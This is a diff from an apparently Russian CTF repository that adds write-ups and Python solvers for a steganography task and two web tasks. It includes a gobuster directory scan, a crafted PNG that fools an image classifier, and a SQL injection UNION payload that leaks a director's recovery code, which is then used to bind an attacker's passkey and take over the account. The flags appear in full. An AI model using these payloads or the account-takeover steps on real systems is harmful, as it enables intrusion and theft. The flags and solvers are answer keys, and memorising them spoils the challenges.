||||||
66
stego-summer-vacations/solve/solver.py
Normal file
66
stego-summer-vacations/solve/solver.py
Normal file
@@ -0,0 +1,66 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Правильный флаг спрятан в младшем бите (LSB) альфа-канала пикселей,
|
||||||
|
где (R*G*B) % 7 == 3.
|
||||||
|
Ложный флаг находится в LSB красного канала.
|
||||||
|
Шаги:
|
||||||
|
1. Открыть изображение в режиме RGBA
|
||||||
|
2. Обойти пиксели в растровом порядке (слева направо, сверху вниз)
|
||||||
|
3. Для каждого пикселя проверить условие (R*G*B) % 7 == 3
|
||||||
|
4. Если условие выполнено — извлечь младший бит альфа-канала
|
||||||
|
5. Декодировать каждые 8 бит в один ASCII-символ
|
||||||
|
"""
|
||||||
|
import sys, os
|
||||||
|
from PIL import Image
|
||||||
|
|
||||||
|
def solve(filepath: str) -> str:
|
||||||
|
# Открываем изображение и принудительно переводим в режим RGBA
|
||||||
|
# (чтобы гарантированно получить альфа-канал)
|
||||||
|
img = Image.open(filepath).convert('RGBA')
|
||||||
|
pixels = img.load()
|
||||||
|
|
||||||
|
# Извлекаем младшие биты альфа-канала из подходящих пикселей
|
||||||
|
bits = []
|
||||||
|
for y in range(img.height):
|
||||||
|
for x in range(img.width):
|
||||||
|
r, g, b, a = pixels[x, y]
|
||||||
|
|
||||||
|
# Условие фильтрации: произведение RGB по модулю 7 равно 3
|
||||||
|
# Это нестандартный критерий, чтобы скрыть данные от обычных стего-сканеров
|
||||||
|
if (r * g * b) % 7 == 3:
|
||||||
|
# Берём только последний (младший) бит альфа-канала
|
||||||
|
bits.append(a & 1)
|
||||||
|
|
||||||
|
print(f"[*] Найдено {len(bits)} подходящих пикселей (бит)")
|
||||||
|
|
||||||
|
# Декодируем последовательность бит в строку флага
|
||||||
|
flag = ''
|
||||||
|
for i in range(0, len(bits) - 7, 8):
|
||||||
|
# Собираем байт из 8 последовательных бит (старший бит — первый)
|
||||||
|
byte_val = 0
|
||||||
|
for j in range(8):
|
||||||
|
byte_val = (byte_val << 1) | bits[i + j]
|
||||||
|
|
||||||
|
# Нулевой байт означает конец данных (аналог нуль-терминатора в C)
|
||||||
|
if byte_val == 0:
|
||||||
|
break
|
||||||
|
|
||||||
|
# Принимаем только печатаемые ASCII-символы (коды 32–126)
|
||||||
|
# Всё остальное — признак конца флага или мусорных данных
|
||||||
|
if 32 <= byte_val <= 126:
|
||||||
|
flag += chr(byte_val)
|
||||||
|
else:
|
||||||
|
break
|
||||||
|
|
||||||
|
return flag
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
img_path = os.path.join(os.path.dirname(os.path.abspath(__file__)),
|
||||||
|
'..', 'public', 'vacation.png')
|
||||||
|
|
||||||
|
if len(sys.argv) > 1:
|
||||||
|
img_path = sys.argv[1]
|
||||||
|
|
||||||
|
flag = solve(img_path)
|
||||||
|
print(f"[+] Флаг: {flag}")
|
||||||
56
web-ghostframe/WRITEUP.md
Normal file
56
web-ghostframe/WRITEUP.md
Normal file
@@ -0,0 +1,56 @@
|
|||||||
|
<h1 align="center">GhostFrame</h1>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/category-Web-blueviolet" alt="Web"/>
|
||||||
|
<img src="https://img.shields.io/badge/points-804-yellow" alt="804 pts"/>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
Из всех вводных в таске нам дается только URL. Сначала необходимо найти скрытую страницу, потом выкачать debug-бандл с [ONNX](https://onnx.ai/onnx/intro/)-моделью и метаданными, и потом уже собрать картинку, которая пройдёт все фильтры классификатора.
|
||||||
|
|
||||||
|
## Решение
|
||||||
|
|
||||||
|
Раз на главной пусто, начинаем с банального перебора директорий:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
gobuster dir -u http://<ip>:<port> \
|
||||||
|
-w /usr/share/seclists/Discovery/Web-Content/common.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
Всплывает скрытая страница `/backup`, внутри — ссылка на архив `prizrachny_kadr_export.zip`. Скачиваем, распаковываем:
|
||||||
|
|
||||||
|
| Файл | Назначение |
|
||||||
|
|---|---|
|
||||||
|
| `vision_gate.onnx` | Сам классификатор |
|
||||||
|
| `preprocess.json` | Список признаков и порог |
|
||||||
|
| `memory.log` | Лог прошлых попыток |
|
||||||
|
|
||||||
|
Самый полезный — `preprocess.json`. Формулы он прямо не раскрывает, но рассказывает, какие признаки модель считает:
|
||||||
|
|
||||||
|
```text
|
||||||
|
amber_ratio
|
||||||
|
blue_ratio
|
||||||
|
contrast
|
||||||
|
edge_density
|
||||||
|
filename_signal
|
||||||
|
metadata_signal
|
||||||
|
```
|
||||||
|
|
||||||
|
Точные пороги неизвестны — вытягиваем их через `/api/submit`. После каждой отправки сервис выводит чего именно не хватило. Из подсказок составляем полный набор требований:
|
||||||
|
|
||||||
|
| Признак | Требование |
|
||||||
|
|---|---|
|
||||||
|
| `filename_signal` | Имя файла содержит `lens`, `prism` или `lattice` |
|
||||||
|
| `metadata_signal` | [PNG `tEXt`](https://www.w3.org/TR/png/#11tEXt) `ghost-signal` начинается с `iris` |
|
||||||
|
| `amber_ratio` | Тёплый янтарный тон |
|
||||||
|
| `blue_ratio` | Заметный синий канал |
|
||||||
|
| `contrast` | Высокий |
|
||||||
|
| `edge_density` | Много резких границ |
|
||||||
|
|
||||||
|
PNG с шахматным или полосатым паттерном даст и контраст, и кучу граней. Красим его в янтарно-синий микс, называем `lattice-lens.png`, прописываем в метадате `ghost-signal=iris-lane` и отправляем на `/api/submit`. Score перевалил порог — сервис возвращает флаг. Автоматический пайплайн — [`solve/solver.py`](solve/solver.py):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python solve/solver.py http://<ip>:<port>
|
||||||
|
```
|
||||||
|
|
||||||
|
## Флаг
|
||||||
|
`caplag{3409b3f6f9e70dce81617ab19bd3016469b745fb0b9b007ed4967b4b5a3a6486}`
|
||||||
74
web-ghostframe/solve/solver.py
Normal file
74
web-ghostframe/solve/solver.py
Normal file
@@ -0,0 +1,74 @@
|
|||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import io
|
||||||
|
import json
|
||||||
|
import re
|
||||||
|
import sys
|
||||||
|
import zipfile
|
||||||
|
|
||||||
|
import httpx
|
||||||
|
from PIL import Image, PngImagePlugin
|
||||||
|
|
||||||
|
|
||||||
|
def png_bytes(*, metadata: dict[str, str] | None = None, checker: bool = False) -> bytes:
|
||||||
|
image = Image.new("RGB", (48, 48), (18, 18, 18))
|
||||||
|
for x in range(48):
|
||||||
|
for y in range(48):
|
||||||
|
if checker and (x + y) % 2 == 0:
|
||||||
|
image.putpixel((x, y), (255, 255, 255))
|
||||||
|
elif checker:
|
||||||
|
image.putpixel((x, y), (255, 120, 0))
|
||||||
|
info = PngImagePlugin.PngInfo()
|
||||||
|
for key, value in (metadata or {}).items():
|
||||||
|
info.add_text(key, value)
|
||||||
|
output = io.BytesIO()
|
||||||
|
image.save(output, format="PNG", pnginfo=info)
|
||||||
|
return output.getvalue()
|
||||||
|
|
||||||
|
|
||||||
|
def discover_bundle(client: httpx.Client) -> bytes:
|
||||||
|
wordlist = ("backup", "debug", "admin", "hidden", "archive", "internal")
|
||||||
|
for word in wordlist:
|
||||||
|
response = client.get(f"/{word}", follow_redirects=True)
|
||||||
|
if response.status_code != 200:
|
||||||
|
continue
|
||||||
|
match = re.search(r'href="([^"]*prizrachny_kadr_export\.zip)"', response.text)
|
||||||
|
if not match:
|
||||||
|
continue
|
||||||
|
bundle_response = client.get(match.group(1))
|
||||||
|
bundle_response.raise_for_status()
|
||||||
|
return bundle_response.content
|
||||||
|
raise RuntimeError("Hidden archive page was not discovered.")
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
base_url = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8011"
|
||||||
|
with httpx.Client(base_url=base_url.rstrip("/"), timeout=20.0, trust_env=False) as client:
|
||||||
|
bundle_bytes = discover_bundle(client)
|
||||||
|
with zipfile.ZipFile(io.BytesIO(bundle_bytes)) as archive:
|
||||||
|
preprocess = json.loads(archive.read("preprocess.json").decode("utf-8"))
|
||||||
|
print(f"[+] leaked bundle: {archive.namelist()}")
|
||||||
|
print(f"[+] threshold: {preprocess['threshold']}")
|
||||||
|
if preprocess.get("input") != [
|
||||||
|
"amber_ratio",
|
||||||
|
"blue_ratio",
|
||||||
|
"contrast",
|
||||||
|
"edge_density",
|
||||||
|
"filename_signal",
|
||||||
|
"metadata_signal",
|
||||||
|
]:
|
||||||
|
raise RuntimeError("Unexpected feature layout in preprocess.json.")
|
||||||
|
|
||||||
|
candidate = png_bytes(metadata={"ghost-signal": "iris-lane"}, checker=True)
|
||||||
|
solve = client.post("/api/submit", files={"upload": ("lattice-lens.png", candidate, "image/png")})
|
||||||
|
solve.raise_for_status()
|
||||||
|
payload = solve.json()
|
||||||
|
flag = payload.get("flag")
|
||||||
|
if not flag:
|
||||||
|
raise RuntimeError(f"GhostFrame did not solve: {payload}")
|
||||||
|
print(flag)
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
50
web-umbrella-bio-access/WRITEUP.md
Normal file
50
web-umbrella-bio-access/WRITEUP.md
Normal file
@@ -0,0 +1,50 @@
|
|||||||
|
<h1 align="center">UmbrellaBioAccess</h1>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/category-Web-blueviolet" alt="Web"/>
|
||||||
|
<img src="https://img.shields.io/badge/points-979-critical" alt="979 pts"/>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
Переходим по ссылке и видим перед нами три раздела: `Field Directory`, `Emergency Recovery` и `Partner Access`. Логично предположить, что решение будет состоять из нескольких шагов. Для этого необходим будет эксплуатировать две уязвимости: SQL injection в legacy-поиске и кривой recovery-flow, который позволяет привязать новый passkey к чужому аккаунту, зная только `recovery_code`. Благодаря этому получаем сессию директора и доступ к `BioCore Vault`.
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
flowchart LR
|
||||||
|
D(["/directory<br/><i>SQLi UNION</i>"])
|
||||||
|
R(["/recovery<br/><i>bind own passkey</i>"])
|
||||||
|
A(["/access<br/><i>passkey login</i>"])
|
||||||
|
V(["/vault<br/><b>→ flag</b>"])
|
||||||
|
|
||||||
|
D -->|recovery_code| R -->|own passkey linked| A -->|director session| V
|
||||||
|
|
||||||
|
classDef step fill:#e0e7ff,stroke:#6366f1,color:#312e81
|
||||||
|
classDef win fill:#fee2e2,stroke:#dc2626,color:#7f1d1d
|
||||||
|
class D,R,A step
|
||||||
|
class V win
|
||||||
|
```
|
||||||
|
|
||||||
|
## Решение
|
||||||
|
|
||||||
|
Начинаем с `/directory`. Поиск по legacy-справочнику, и прямо там висит подпись `Quote-aware matching enabled.`. Проверяем одинарной кавычкой — параметр поиска улетает внутрь выражения вида `ILIKE '%...%'`, можно попоробовать использовать SQLi. Простая булева инъекция (`OR true`) подтверждает наличие дыры, но к нужным скрытым полям доступа не даст. Идём через `UNION SELECT` и подменяем `displayName` значением `recovery_code`:
|
||||||
|
|
||||||
|
```sql
|
||||||
|
') UNION ALL SELECT codename,recovery_code,division,dossier
|
||||||
|
FROM directory_public_view WHERE role='director' --
|
||||||
|
```
|
||||||
|
|
||||||
|
В ответе появляется запись директора:
|
||||||
|
|
||||||
|
| Поле | Содержимое |
|
||||||
|
|---|---|
|
||||||
|
| `codename` | кодовое имя директора |
|
||||||
|
| `displayName` | 24-символьный hex `recovery_code` |
|
||||||
|
|
||||||
|
Идём в `/recovery`.
|
||||||
|
|
||||||
|
> Здесь не прямо классический [WebAuthn](https://www.w3.org/TR/webauthn-2/), атаку необходимо провести на бизнес-логику восстановления.
|
||||||
|
|
||||||
|
Знание `recovery_code` считается достаточным основанием, чтобы привязать новый passkey к существующему аккаунту. Вводим извлечённый recovery-код, завершаем регистрацию своего passkey, и он оказывается связан с директорским профилем.
|
||||||
|
|
||||||
|
Ну все, мы фактически на финише. На `/access` вводим директорский `codename`, логинимся обычным passkey-флоу уже своим ключом — получаем сессию с ролью `director`. Открываем `/vault` (или напрямую дёргаем `GET /api/vault/biocore`) — сервер отдаёт флаг.
|
||||||
|
|
||||||
|
## Флаг
|
||||||
|
`caplag{read_only_sqli_rebinds_director_passkeys}`
|
||||||
3
web-umbrella-bio-access/solve/requirements.txt
Normal file
3
web-umbrella-bio-access/solve/requirements.txt
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
playwright>=1.52,<2
|
||||||
|
requests>=2.32,<3
|
||||||
|
|
||||||
147
web-umbrella-bio-access/solve/solver.py
Normal file
147
web-umbrella-bio-access/solve/solver.py
Normal file
@@ -0,0 +1,147 @@
|
|||||||
|
import argparse
|
||||||
|
import re
|
||||||
|
import sys
|
||||||
|
from dataclasses import dataclass
|
||||||
|
from urllib.parse import urljoin
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import urllib3
|
||||||
|
from playwright.sync_api import BrowserContext, Page, sync_playwright
|
||||||
|
|
||||||
|
|
||||||
|
DIRECTOR_QUERY = (
|
||||||
|
"') UNION ALL SELECT codename,recovery_code,division,dossier "
|
||||||
|
"FROM directory_public_view WHERE role='director' -- "
|
||||||
|
)
|
||||||
|
RECOVERY_CODE_RE = re.compile(r"^[0-9a-f]{24}$")
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class DirectorProfile:
|
||||||
|
codename: str
|
||||||
|
recovery_code: str
|
||||||
|
|
||||||
|
|
||||||
|
def parse_args() -> argparse.Namespace:
|
||||||
|
parser = argparse.ArgumentParser(description="Exploit Umbrella BioAccess and print the flag.")
|
||||||
|
parser.add_argument("--base-url", required=True, help="Base URL of the challenge, e.g. https://bioaccess.ctf")
|
||||||
|
parser.add_argument(
|
||||||
|
"--insecure",
|
||||||
|
action="store_true",
|
||||||
|
help="Disable TLS verification for self-signed challenge certificates",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--headful",
|
||||||
|
action="store_true",
|
||||||
|
help="Run Chromium in headful mode for debugging",
|
||||||
|
)
|
||||||
|
return parser.parse_args()
|
||||||
|
|
||||||
|
|
||||||
|
def api_url(base_url: str, path: str) -> str:
|
||||||
|
return urljoin(base_url.rstrip("/") + "/", path.lstrip("/"))
|
||||||
|
|
||||||
|
|
||||||
|
def discover_director(base_url: str, insecure: bool) -> DirectorProfile:
|
||||||
|
session = requests.Session()
|
||||||
|
session.verify = not insecure
|
||||||
|
|
||||||
|
if insecure:
|
||||||
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||||
|
|
||||||
|
response = session.post(
|
||||||
|
api_url(base_url, "/api/directory/search"),
|
||||||
|
json={"query": DIRECTOR_QUERY},
|
||||||
|
timeout=20,
|
||||||
|
)
|
||||||
|
response.raise_for_status()
|
||||||
|
payload = response.json()
|
||||||
|
|
||||||
|
items = payload.get("items", [])
|
||||||
|
for item in items:
|
||||||
|
codename = str(item.get("codename", ""))
|
||||||
|
display_name = str(item.get("displayName", ""))
|
||||||
|
if RECOVERY_CODE_RE.fullmatch(display_name):
|
||||||
|
return DirectorProfile(codename=codename, recovery_code=display_name)
|
||||||
|
|
||||||
|
raise RuntimeError("Director recovery vector not found in SQLi response")
|
||||||
|
|
||||||
|
|
||||||
|
def enable_virtual_authenticator(context: BrowserContext, page: Page) -> None:
|
||||||
|
cdp = context.new_cdp_session(page)
|
||||||
|
cdp.send("WebAuthn.enable")
|
||||||
|
cdp.send(
|
||||||
|
"WebAuthn.addVirtualAuthenticator",
|
||||||
|
{
|
||||||
|
"options": {
|
||||||
|
"protocol": "ctap2",
|
||||||
|
"transport": "internal",
|
||||||
|
"hasResidentKey": True,
|
||||||
|
"hasUserVerification": True,
|
||||||
|
"isUserVerified": True,
|
||||||
|
"automaticPresenceSimulation": True,
|
||||||
|
}
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def solve_with_browser(base_url: str, profile: DirectorProfile, insecure: bool, headful: bool) -> str:
|
||||||
|
with sync_playwright() as playwright:
|
||||||
|
browser = playwright.chromium.launch(headless=not headful)
|
||||||
|
context = browser.new_context(ignore_https_errors=insecure)
|
||||||
|
page = context.new_page()
|
||||||
|
|
||||||
|
enable_virtual_authenticator(context, page)
|
||||||
|
|
||||||
|
page.goto(api_url(base_url, "/recovery"), wait_until="networkidle")
|
||||||
|
page.get_by_test_id("recovery-code").fill(profile.recovery_code)
|
||||||
|
page.get_by_test_id("recovery-submit").click()
|
||||||
|
page.wait_for_url(re.compile(r".*/access$"), timeout=20_000)
|
||||||
|
|
||||||
|
page.get_by_test_id("login-codename").fill(profile.codename)
|
||||||
|
page.get_by_test_id("login-submit").click()
|
||||||
|
page.wait_for_url(re.compile(r".*/vault$"), timeout=20_000)
|
||||||
|
|
||||||
|
page.get_by_test_id("vault-fetch").click()
|
||||||
|
page.wait_for_function(
|
||||||
|
"""
|
||||||
|
() => {
|
||||||
|
const node = document.querySelector('[data-testid="vault-flag"]');
|
||||||
|
return node && node.textContent && node.textContent.trim() !== '\u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u043d\u0435 \u0432\u044b\u0434\u0430\u043d\u044b.';
|
||||||
|
}
|
||||||
|
""",
|
||||||
|
timeout=20_000,
|
||||||
|
)
|
||||||
|
flag = page.get_by_test_id("vault-flag").text_content().strip()
|
||||||
|
|
||||||
|
browser.close()
|
||||||
|
|
||||||
|
if not flag or flag == "Материалы не выданы." or flag == "МАТЕРИАЛЫ НЕ ВЫДАНЫ.":
|
||||||
|
raise RuntimeError("Vault returned no payload")
|
||||||
|
if not flag.lower().startswith("caplag{"):
|
||||||
|
raise RuntimeError(f"Unexpected flag format: {flag}")
|
||||||
|
|
||||||
|
return flag.lower()
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
args = parse_args()
|
||||||
|
|
||||||
|
try:
|
||||||
|
profile = discover_director(args.base_url, args.insecure)
|
||||||
|
print(f"[+] director codename: {profile.codename}")
|
||||||
|
print(f"[+] recovery code: {profile.recovery_code}")
|
||||||
|
|
||||||
|
flag = solve_with_browser(args.base_url, profile, args.insecure, args.headful)
|
||||||
|
print(f"[+] flag: {flag}")
|
||||||
|
return 0
|
||||||
|
except Exception as exc:
|
||||||
|
message = str(exc)
|
||||||
|
if "Executable doesn't exist" in message or "playwright install" in message.lower():
|
||||||
|
message = f"{message}\n[hint] install a browser with: python -m playwright install chromium"
|
||||||
|
print(f"[-] solve failed: {message}", file=sys.stderr)
|
||||||
|
return 1
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
Reference in New Issue
Block a user